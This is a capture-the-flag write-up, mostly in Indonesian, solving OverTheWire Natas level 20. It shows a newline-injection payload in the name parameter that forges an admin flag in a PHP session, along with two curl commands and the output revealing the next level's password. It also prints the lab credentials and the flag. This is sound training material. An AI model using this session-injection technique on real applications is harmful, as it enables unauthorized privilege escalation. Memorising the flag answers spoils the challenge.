Writeup Aria
Natas

Level 20

soal

Username: natas20 URL: http://natas20.natas.labs.overthewire.org

solve

  • login with cred http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org
  • Jika kita cek source code PHP (melalui hint yang ada di level ini), terlihat bahwa aplikasi menggunakan session yang disimpan di server (/var/lib/php5/sessions). Isi session di-generate dari parameter name yang kita submit.
  • Ada potongan kode seperti:
    if(array_key_exists("name", $_REQUEST)) {
        $_SESSION["name"] = $_REQUEST["name"];
    }
    if(array_key_exists("admin", $_SESSION) && $_SESSION["admin"] == 1) {
        print "You are an admin.";
    }

➡️ Artinya: jika kita bisa memanipulasi session supaya punya key admin=1, kita bisa jadi admin dan mendapatkan password ke level berikutnya.

  • Masalahnya, session file ditulis langsung dari input tanpa filtering. Jadi kita bisa menyuntikkan newline (\n atau %0A) untuk memecah format session dan menambahkan variabel baru.

Eksploitasi

Triknya: lakukan dua kali request.

  • Request pertama → injeksikan session supaya ada variable admin=1.
  • Request kedua → gunakan cookie dari request pertama, maka server akan membaca session yang sudah terinjeksi.
natas20.natas.labs.overthewire.org/index.php?debug&name=aria%0aadmin%201

atau gunakan curl 2 kal ini

# Request pertama (set nilai di session)
curl -i -s -c /tmp/cookie.txt -d "name=aria%0aadmin%201" \
http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org/ > /dev/null
# Request kedua (gunakan cookie tadi)
curl -i -s -b /tmp/cookie.txt \
  http://natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw@natas20.natas.labs.overthewire.org/ | grep -i "password" -B 1

outputnya:

You are an admin. The credentials for the next level are:<br><pre>Username: natas21
Password: BPhv63cKE1lkQl04cE5CuFTzXe15NfiH</pre>

flag

BPhv63cKE1lkQl04cE5CuFTzXe15NfiH

On this page